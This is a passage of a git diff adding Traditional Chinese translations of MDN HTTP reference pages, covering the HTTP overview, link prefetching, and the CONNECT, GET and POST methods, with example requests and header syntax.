}}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="sect2"> </h2> + +<h2 id="延伸閱讀">延伸閱讀</h2> + +<ul> + <li><a class="external" href="http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx" title="http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">ClickJacking Defenses - IEBlog</a></li> + <li><a href="http://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx">Combating ClickJacking with X-Frame-Options - IEInternals</a></li> + <li><a href="https://tools.ietf.org/html/rfc7034" title="https://tools.ietf.org/html/rfc7034">HTTP Header Field X-Frame-Options - RFC 7034</a></li> + <li><a href="https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors" title="https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html#frame-src">CSP Level 2 frame-ancestors directive</a></li> +</ul> + +<p>{{ languages( { "ja": "ja/The_X-FRAME-OPTIONS_response_header"} ) }}</p> diff --git a/files/zh-tw/web/http/index.html b/files/zh-tw/web/http/index.html new file mode 100644 index 0000000000..77b6555cf8 --- /dev/null +++ b/files/zh-tw/web/http/index.html @@ -0,0 +1,83 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - HTTP + - NeedsTranslation +translation_of: Web/HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong>超文本傳輸協定<dfn> (HTTP)</dfn></strong> 是一種用來傳輸超媒體文件 (像是HTML文件) 的<a href="http://en.wikipedia.org/wiki/Application_Layer">應用層</a>協定，被設計來讓瀏覽器和伺服器進行溝通，但也可做其他用途。HTTP 遵循標準<a href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">客戶端—伺服器</a>模式，由客戶端連線以發送請求，然後等待接收回應。HTTP 是一種<a href="https://en.wikipedia.org/wiki/Stateless_protocol">無狀態協定</a>，意思是伺服器不會保存任兩個請求間的任何資料 (狀態)。儘管作為 TCP/IP 的應用層，HTTP 亦可應用於其他可靠的<a href="http://en.wikipedia.org/wiki/Transport_Layer">傳輸層</a> (例如 <a href="https://en.wikipedia.org/wiki/User_Datagram_Protocol">UDP</a>)，只要不會無聲無息地遺失訊息即可。</p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="教學">教學</h2> + +<p>學習如何使用HTTP的指南和教程。</p> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview">HTTP的概觀</a></dt> + <dd>基本特性：它能做什麼與它的用途</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">HTTP Cache</a></dt> + <dd>Cache對網站速度很重要。 此文章描敘不同的方法使用HTTP Header控制它。</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP Cookies</a></dt> + <dd><a href="http://tools.ietf.org/html/rfc6265">RFC 6265</a> 定義了cookies的工作方式，當HTTP請求一個服務時，一個伺服器可以發送一個<code>Set-Cookie</code>的HTTP header回應。客戶端將以header的方式回傳cookie值給每個請求的同 一個伺服器，Cookie也會在某些時間進行更新，或是限制一個實體網域或路徑。</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">HTTP Access Control (CORS)</a></dt> + <dd><strong>Cross-site HTTP requests </strong>是來自不同網域的資源請求。舉個例子，一個HTML網頁從網域A (<code>http://domaina.example/</code>) 從網域B(<code>http://domainb.foo/image.jpg</code>)請求一個圖片，經由<code>img</code>元件。現今的網頁通常會讀取跨站資源，包括CSS樣式表、圖片、腳本與其他資源。CORS允許網頁開發人員的網站響應跨站讀取。</dd> +</dl> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP的演化</a></dt> + <dd>HTTP早期版本變化的簡要說明，到現在的HTTP/2與其他版本。</dd> + <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">網頁安全方針</a></dt> + <dd>一些技巧幫助運作團隊開發安全的網頁。</dd> +</dl> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Messages">HTTP 訊息</a></dt> + <dd>描述HTTP/1與HTTP/2不同類別與結構。</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Session">一個典型HTTP對話</a></dt> + <dd>顯示並解釋HTTP的通常對話流程。</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x的連接管理</a></dt> + <dd>描述在HTTP/1.x中可用的三種連接管理。</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="參考">參考</h2> + +<p>詳細的HTTP參考文件。</p> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">HTTP Headers</a></dt> + <dd>HTTP message headers are used to describe a resource, or the behavior of the server or the client. Custom proprietary headers can be added using the <code>X-</code> prefix; others in an <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">HTTP 請求方法</a></dt> + <dd>透過 HTTP 有幾種不同操作方法：{{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, and also less common requests like {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, or {{HTTPMethod("TRACE")}}.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Response_codes">HTTP 狀態回應碼</a></dt> + <dd>HTTP response codes indicate whether a specific HTTP request has been successfully completed. Responses are grouped in five classes: informational responses, successful responses, redirections, client errors, and servers errors.</dd> +</dl> + +<dl> + <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP directives</a></dt> + <dd>The {{HTTPHeader("Content-Security-Policy")}} response header fields allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints.</dd> +</dl> + +<h2 id="工具與資源">工具與資源</h2> + +<p>Helpful tools and resources for understanding and debugging HTTP.</p> + +<dl> + <dt><a href="/en-US/docs/Tools">Firefox Developer Tools</a></dt> + <dd><a href="/en-US/docs/Tools/Network_Monitor">Network monitor</a></dd> + <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt> + <dd> + <p>A project designed to help developers, system administrators, and security professionals configure their sites safely and securely.</p> + </dd> + <dt><a class="external" href="https://redbot.org/">RedBot</a></dt> + <dd>Tools to check your cache-related headers</dd> + <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">How Browsers Work</a></dt> + <dd>A very comprehensive article on browser internals and request flow through HTTP protocol. A MUST-READ for any web developer.</dd> +</dl> +</div> +</div> diff --git a/files/zh-tw/web/http/link_prefetching_faq/index.html b/files/zh-tw/web/http/link_prefetching_faq/index.html new file mode 100644 index 0000000000..275680cea6 --- /dev/null +++ b/files/zh-tw/web/http/link_prefetching_faq/index.html @@ -0,0 +1,121 @@ +--- +title: 預先取回連結 (Prefetch) 問答集 +slug: Web/HTTP/Link_prefetching_FAQ +translation_of: Web/HTTP/Link_prefetching_FAQ +--- +<h3 id="What_is_link_prefetching.3F" name="What_is_link_prefetching.3F">何謂預先取回連結 ?</h3> + +<p>預先取回連結 (Prefetch) 是一項瀏覽器機制；這項機制利用瀏覽器閒置時間，預先下載取回使用者稍後可能造訪的網頁資源。只要網頁告訴瀏覽器哪些資源可以預先取回，當瀏覽完成當下網頁載入工作後，瀏覽器便會在背景預先取回這些資源，並且存入快取之中，然後當使用者造訪預先取回的網頁時，網頁便可以快速地從快取中取出載入。</p> + +<h3 id="能在HTTPS執行預先取回嗎">能在HTTPS執行預先取回嗎 ?</h3> + +<p>從 Gecko 1.9.1 (Firefox 3.5), HTTPS 內容也能被預先取回。</p> + +<h3 id="What_are_the_prefetching_hints.3F" name="What_are_the_prefetching_hints.3F">如何告訴瀏覽器預先取回資源 ?</h3> + +<p>透過 HTML {{ HTMLElement("link") }} 或 <a href="/en/HTTP" title="en/HTTP">HTTP</a> <code>Link:</code> 標頭 (header) 便可以告訴瀏覽器哪些資源可以預先取回，範例如下：</p> + +<p>利用 Link 元素</p> + +<pre class="eval"><link rel="prefetch" href="/images/big.jpeg"> +</pre> + +<p>利用 HTTP <code>Link:</code> header:</p> + +<pre class="eval">Link: </images/big.jpeg>; rel=prefetch +</pre> + +<p>利用 meta 元素代表 Link: header :</p> + +<pre class="eval"><meta http-equiv="Link" content="</images/big.jpeg>; rel=prefetch"> +</pre> + +<p><code>Link:</code> header 的格式請參閱 <a class="external" href="http://tools.ietf.org/html/rfc5988" title="http://tools.ietf.org/html/rfc5988">RFC 5988</a> section 5。</p> + +<p>可以指定多個預先取回資源，當瀏覽器閒置時，就會開始預先取回這些資源，例如:</p> + +<pre class="eval"><link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"> +<link rel="next" href="2.html"> +</pre> + +<h3 id="Are_anchor_.28.3Ca.3E.29_tags_prefetched.3F" name="Are_anchor_.28.3Ca.3E.29_tags_prefetched.3F"><a> 元素能被預先取回嗎 ?</h3> + +<p>不行。目前只有 rel 屬性為 prefetch 的 link 元素 (或標頭) 所標示的資源能被預先取回。</p> + +<h3 id="Is_link_prefetching_standards_compliant.3F" name="Is_link_prefetching_standards_compliant.3F">預先取回 (Prefetch) 符合標準嗎 ?</h3> + +<p>預先取回並沒有違反標準規範；事實上 HTML 4.01 允許新定義的 rel 型態 (<a class="external" href="http://www.w3.org/TR/html4/types.html#type-links">see Section 6.12: Link types</a>)，只是 Mozilla 現在的機制還在 HTML5 標準化草稿作業中，請見 HTML5 標準:<a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#link-type-prefetch" title="http://www.whatwg.org/specs/web-apps/current-work/#link-type-prefetch"> Link type "prefetch"</a> .</p> + +<h3 id="How_is_browser_idle_time_determined.3F" name="How_is_browser_idle_time_determined.3F">如何判定瀏覽器是否閒置 ?</h3> + +<p>目前 (Mozilla 1.2) 主要是透過 <code>nsIWebProgressListener</code> API，向上層 <code>nsIWebProgress</code> 物件 ("@<a class="linkification-ext external" href="http://mozilla.org/docloaderservice;1" title="Linkification: http://mozilla.org/docloaderservice;1">mozilla.org/docloaderservice;1</a>") 註冊一個事件處理器；藉由此得知文件開啟和停止通知，所謂的閒置時間就是介於最後一個停止通知和下一個開始通知之間，而最後一個停止通知大約發生在 onLoad 事件觸發，由此瀏覽器開始預先取回各項資源。如果 frame 有指定需要預先取回的資源，那麼當最上層 frame 和其底下所有子 frame 的完成載入後，預先取回作業才會啟動。</p> + +<h3 id="What_happens_if_I_click_on_a_link_while_something_is_being_prefetched.3F" name="What_happens_if_I_click_on_a_link_while_something_is_being_prefetched.3F">當預先取回執行中有連結被點擊時會如何 ?</h3> + +<p>一但有連結點擊或網頁載入觸發，預先取回作業會立刻中止；倘若預先取回作業執行到一半的連結資源恰巧就是被點擊的連結，如果伺服器回應標頭有表明 "Accept-Ranges: bytes" ，那麼剩下的資源就會透過 HTTP byte-range 請求取回。</p> + +<h3 id="What_if_I.27m_downloading_something_in_the_background.3F_Will_link_prefetching_compete_for_bandwidth.3F" name="What_if_I.27m_downloading_something_in_the_background.3F_Will_link_prefetching_compete_for_bandwidth.3F">當在背景下載檔案，預先取回作業會佔用頻寬嗎 ?</h3> + +<p>不一定。Firefox 會先暫停預先取回作業直到背景下載任務結束，但如果是使用其他軟體下載檔案，那麼 Firefox 的預先取回作業並不會停止，未來 Firefox 計畫加入偵測作業系統的網路閒置時間 。</p> + +<h3 id="Are_there_any_restrictions_on_what_is_prefetched.3F" name="Are_there_any_restrictions_on_what_is_prefetched.3F">預先取回有限制嗎 ?</h3> + +<p>有。只有 <span class="nowiki">http://</span> (and, starting in {{ Gecko("1.9.1") }} <span class="nowiki">https://</span>) URLs 能被預先取回，其它如 FTP 則無法。</p> + +<h3 id="Will_Mozilla_prefetch_documents_from_a_different_host.3F" name="Will_Mozilla_prefetch_documents_from_a_different_host.3F">Mozilla 會預先取回不同網域的文件嗎 ?</h3> + +<p>會，因為預先取回並沒有 same-origin (同源政策) 的限制，同源限定並不會加強瀏覽器安全性。</p> + +<h3 id="Do_prefetched_requests_contain_a_Referer:_header.3F" name="Do_prefetched_requests_contain_a_Referer:_header.3F">預先取回請求帶有 Referer: header 嗎 ?</h3> + +<p>有，預先取回帶有 HTTP <code>Referer:</code> header 表明那份文件發起預先取回請求。</p> + +<p>這或許會對追蹤 referer (參照位址) 造成影響，所以預先取回可能不適用於所有資源，不過還是可以利用 <code>Cache-control: must-revalidate</code> HTTP 回應標頭，要求 Firefox 造訪預先取回的網頁，這個標頭允許快取，但是取用快取前需要先經過 <code>If-Modified-Since</code> 或 <code>If-None-Match</code> 宴請求。</p> + +<h3 id="As_a_server_admin.2C_can_I_distinguish_prefetch_requests_from_normal_requests.3F" name="As_a_server_admin.2C_can_I_distinguish_prefetch_requests_from_normal_requests.3F">如何分辨來自一般和預先取回的請求 ?</h3> + +<p>Firefox 對每一個預先取回請求都會附帶如下標頭:</p> + +<pre>X-moz: prefetch</pre> + +<p>請注意這標頭並非標準之一，未來也有可能變更。</p> + +<h3 id="Is_there_a_preference_to_disable_link_prefetching.3F" name="Is_there_a_preference_to_disable_link_prefetching.3F">可以從偏好設定裡關閉預先取回嗎 ?</h3> + +<p>透過 <a class="linkification-ext" href="/about:config" title="Linkification: about:config">about:config</a>，或是在 profile 目錄底下的 prefs.js 檔內加入以下程式碼。</p> + +<pre class="eval">user_pref("network.prefetch-next", false); +</pre> + +<h3 id="What_about_folks_who_pay-per-byte_for_network_bandwidth.3F" name="What_about_folks_who_pay-per-byte_for_network_bandwidth.3F">對頻寬使用量付費的使用者的影響</h3> + +<p>基本上可以分成兩個層面來看：第一、原本就可以利用 JS/DOM 來進行預先下載；第二、預先取回算是瀏覽器功能，應該要能夠讓使用者關閉。</p> + +<p>利用 <code><link></code> 而非 JS/DOM 的特殊做法來預先取回資源比較好，因為瀏覽器可以做較佳的優先取回排序。另外預設開啟預先取回功能也是希望鼓勵網頁不要採用這類自行撰寫的 JS/DOM 做法。</p> + +<h3 id="Which_browsers_support_link_prefetching.3F" name="Which_browsers_support_link_prefetching.3F">那些瀏覽器支援預先取回 ?</h3> + +<p>Firefox 和 Netscape 7.01+。 <a class="external" href="http://gemal.dk/browserspy/prefetch.php">測試</a>瀏覽器是否支援預先取回功能。</p> + +<h3 id="Privacy_implications" name="Privacy_implications">隱私權議題</h3> + +<p>預先取回會導致被取回網頁的 cookie 也一併被預先取回，例如搜尋 amazon，google 搜尋網頁會預先取回 <a class="linkification-ext external" href="http://www.amazon.com" title="Linkification: http://www.amazon.com">www.amazon.com</a> 網頁及其 cookie，如果想要阻擋第三方 cookie ，請參閱 <a class="external" href="http://support.mozilla.com/en-US/kb/Disabling%20third%20party%20cookies" title="http://support.mozilla.com/en-US/kb/Disabling third party cookies">Disabling third party cookies</a>。</p> + +<h3 id="What_about....3F" name="What_about....3F">還有... ?What about...?</h3> + +<p>若是還有其他有關預先取回的問題，請不要客氣直接發問 :-)</p> + +<h4 id="See_also..." name="See_also...">延伸閱讀</h4> + +<p><a class="external" href="http://www.edochan.com/programming/pf.htm">Prefetching Hints</a></p> + +<div class="originaldocinfo"> +<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2> + +<ul> + <li>Author(s): Darin Fisher (darin at meer dot net)</li> + <li>Last Updated Date: Updated: March 3, 2003</li> +</ul> +</div> + +<p> </p> diff --git a/files/zh-tw/web/http/methods/connect/index.html b/files/zh-tw/web/http/methods/connect/index.html new file mode 100644 index 0000000000..0b44ddec87 --- /dev/null +++ b/files/zh-tw/web/http/methods/connect/index.html @@ -0,0 +1,82 @@ +--- +title: CONNECT +slug: Web/HTTP/Methods/CONNECT +translation_of: Web/HTTP/Methods/CONNECT +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>CONNECT</code> </strong>方法會利用請求資源啟動一個雙向通訊。這通常可用於建立隧道。</p> + +<p>舉例來說，<code>CONNECT </code>方法可以用於存取使用 {{Glossary("SSL")}} ({{Glossary("HTTPS")}}) 的網站。客戶端請求 HTTP Proxy 伺服器建立 TCP 連結的隧道到指定的位置。伺服器接著代表客戶端建立連結。一但連結建立，Proxy 伺服器會持續收送 TCP 流到客戶端。</p> + +<p><code>CONNECT</code> 是個逐跳方法。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">請求具有 Body</th> + <td>否</td> + </tr> + <tr> + <th scope="row">成功回覆具有 Body</th> + <td>是</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>否</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>否</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>否</td> + </tr> + <tr> + <th scope="row">可用於 <a href="/zh-TW/docs/Web/Guide/HTML/Forms">HTML 表單</a></th> + <td>否</td> + </tr> + </tbody> +</table> + +<h2 id="語法">語法</h2> + +<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1 +</pre> + +<h2 id="範例">範例</h2> + +<p>有些 Proxy 伺服器也許需要授權以建立隧道。請見 {{HTTPHeader("Proxy-Authorization")}} 標頭。</p> + +<pre class="line-numbers language-html">CONNECT server.example.com:80 HTTP/1.1 +Host: server.example.com:80 +Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> + +<h2 id="規格">規格</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規格</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td> + <td>超文本轉送協議 (HTTP/1.1): 語意與內容</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.CONNECT")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{Glossary("Proxy server")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> +</ul> diff --git a/files/zh-tw/web/http/methods/get/index.html b/files/zh-tw/web/http/methods/get/index.html new file mode 100644 index 0000000000..654d4a3d3d --- /dev/null +++ b/files/zh-tw/web/http/methods/get/index.html @@ -0,0 +1,69 @@ +--- +title: GET +slug: Web/HTTP/Methods/GET +translation_of: Web/HTTP/Methods/GET +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>GET</code> method</strong> 方法請求展示指定資源。 使用 <code>GET</code> 的請求只應用於取得資料。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request 有 body</th> + <td>No</td> + </tr> + <tr> + <th scope="row">成功的 response 有 body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">允許在 HTML 表單</th> + <td>Yes</td> + </tr> + </tbody> +</table> + +<h2 id="格式">格式</h2> + +<pre class="syntaxbox">GET /index.html +</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC("7231", "GET", "4.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.GET")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/zh-tw/web/http/methods/index.html b/files/zh-tw/web/http/methods/index.html new file mode 100644 index 0000000000..fb44615883 --- /dev/null +++ b/files/zh-tw/web/http/methods/index.html @@ -0,0 +1,63 @@ +--- +title: HTTP 請求方法 +slug: Web/HTTP/Methods +translation_of: Web/HTTP/Methods +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP 定義了一組能令給定資源，執行特定操作的<strong>請求方法</strong>（request methods）。他們儘管屬於名詞，但也能稱為 <em>HTTP 動詞</em>。每個方法都有不同的語意，不過也有些共享的相通功能，像是{{glossary("safe")}}、{{glossary("idempotent")}}、{{glossary("cacheable")}}。</p> + +<dl> + <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/GET">GET</a></code></dt> + <dd><code>GET</code> 方法請求展示指定資源。使用 <code>GET</code> 的請求只應用於取得資料。</dd> + <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt> + <dd><code>HEAD</code> 方法請求與 <code>GET</code> 方法相同的回應，但它沒有回應主體（response body）。</dd> + <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/POST">POST</a></code></dt> + <dd><code>POST</code> 方法用於提交指定資源的實體，通常會改變伺服器的狀態或副作用（side effect）。</dd> + <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt> + <dd><code>PUT</code> 方法會取代指定資源所酬載請求（request payload）的所有表現。</dd> + <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt> + <dd><code>DELETE</code> 方法會刪除指定資源.</dd> + <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt> + <dd><code>CONNECT</code> 方法會和指定資源標明的伺服器之間，建立隧道（tunnel）。</dd> + <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt> + <dd><code>OPTIONS</code> 方法描述指定資源的溝通方法（communication option）。</dd> + <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt> + <dd><code>TRACE</code> 方法會與指定資源標明的伺服器之間，執行迴路返回測試（loop-back test）。</dd> + <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt> + <dd><code>PATCH</code> 方法套用指定資源的部份修改。</dd> +</dl> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + <th scope="col">註解</th> + </tr> + <tr> + <td>{{RFC("7231", "Request methods", "4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + <td>Specifies GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td> + </tr> + <tr> + <td>{{RFC("5789", "Patch method", "2")}}</td> + <td>PATCH method for HTTP</td> + <td>Specifies PATCH.</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">To contribute to this compatibility data, please write a pull request against this file: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p> + +<p>{{Compat("http/methods")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="/zh-TW/docs/Web/HTTP/Headers">HTTP 標頭</a></li> +</ul> diff --git a/files/zh-tw/web/http/methods/post/index.html b/files/zh-tw/web/http/methods/post/index.html new file mode 100644 index 0000000000..3332297535 --- /dev/null +++ b/files/zh-tw/web/http/methods/post/index.html @@ -0,0 +1,124 @@ +--- +title: POST +slug: Web/HTTP/Methods/POST +translation_of: Web/HTTP/Methods/POST +--- +<div>{{HTTPSidebar}}</div> + +<p>The <strong>HTTP <code>POST</code> method</strong> sends data to the server. The type of the body of the request is indicated by the {{HTTPHeader("Content-Type")}} header.</p> + +<p>The difference between <code>PUT</code> and {{HTTPMethod("POST")}} is that <code>PUT</code> is idempotent: calling it once or several times successively has the same effect (that is no <em>side</em> effect), where successive identical <code>POST</code> may have additional effects, like passing an order several times.</p> + +<p>A <code>POST</code> request is typically sent via an <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a> and results in a change on the server. In this case, the content type is selected by putting the adequate string in the {{htmlattrxref("enctype", "form")}} attribute of the {{HTMLElement("form")}} element or the {{htmlattrxref("formenctype", "input")}} attribute of the {{HTMLElement("input") }} or {{HTMLElement("button")}} elements:</p> + +<ul> + <li><code>application/x-www-form-urlencoded</code>: the keys and values are encoded in key-value tuples separated by <code>'&'</code>, with a <code>'='</code> between the key and the value. Non-alphanumeric characters in both keys and values are {{glossary("percent-encoding", "percent encoded")}}: this is the reason why this type is not suitable to use with binary data (use <code>multipart/form-data</code> instead)</li> + <li><code>multipart/form-data</code>: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part. The keys are given in the <code>Content-Disposition</code> header of each part.</li> + <li><code>text/plain</code></li> +</ul> + +<p>When the <code>POST</code> request is sent via a method other than an HTML form — like via an {{domxref("XMLHttpRequest")}} — the body can take any type. As described in the HTTP 1.1 specification, <code>POST</code> is designed to allow a uniform method to cover the following functions:</p> + +<ul> + <li>Annotation of existing resources</li> + <li>Posting a message to a bulletin board, newsgroup, mailing list, or similar group of articles;</li> + <li>Adding a new user through a signup modal;</li> + <li>Providing a block of data, such as the result of submitting a form, to a data-handling process;</li> + <li>Extending a database through an append operation.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Successful response has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>Only if freshness information is included</td> + </tr> + <tr> + <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th> + <td>Yes</td> + </tr> + </tbody> +</table> + +<h2 id="格式">格式</h2> + +<pre class="syntaxbox">POST /test +</pre> + +<h2 id="範例">範例</h2> + +<p>使用 <code>application/x-www-form-urlencoded</code> 內容類型的簡易表單:</p> + +<pre class="line-numbers language-html">POST /test HTTP/1.1 +Host: foo.example +Content-Type: application/x-www-form-urlencoded +Content-Length: 27 + +field1=value1&field2=value2</pre> + +<p>使用 <code>multipart/form-data</code> 內容類型的表單:</p> + +<pre>POST /test HTTP/1.1 +Host: foo.example +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2 +--boundary-- +</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "POST", "4.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + <tr> + <td>{{RFC("2046", "Common Syntax", "5.1.1")}}</td> + <td>Multipurpose Internet Mail Extensions (MIME) Part Two: Media Types</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.POST")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Content-Disposition")}}</li> +</ul> diff --git a/files/zh-tw/web/http/protocol_upgrade_mechanism/index.html b/files/zh-tw/web/http/protocol_upgrade_mechanism/index.html new file mode 100644 index 0000000000..98ac6b0edb --- /dev/null +++ b/files/zh-tw/web/http/protocol_upgrade_mechanism/index.html @@ -0,0 +1,152 @@ +--- +title: 協議升級機制 +slug: Web/HTTP/Protocol_upgrade_mechanism +translation_of: Web/HTTP/Protocol_upgrade_mechanism +--- +<div> +<p>{{HTTPSidebar}}</p> + +<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP">HTTP/1.1 協議</a>提供了一種特殊的機制，這一機制允許將一個已建立的連接升級成新的、不相容的協議。這篇指南涵蓋了其運作原理和使用場景。</p> + +<p>通常來說這一機制總是由客戶端發起的 （不過也有例外，比如說可以由服務端發起{{anch("Server-initiated upgrade to TLS", "升級到傳輸層安全協議（TLS）")}}）， 服務端可以選擇是否要升級到新協議。借助這一技術，連接可以以常用的協議啟動（如HTTP/1.1），隨後再升級到HTTP2甚至是WebSockets.</p> + +<p>注意：HTTP/2 明確禁止使用此機制，這個機制只屬於 HTTP/1.1</p> +</div> + +<h2 id="升级_HTTP1.1_連線">升级 HTTP/1.1 連線</h2> + +<p><br> + 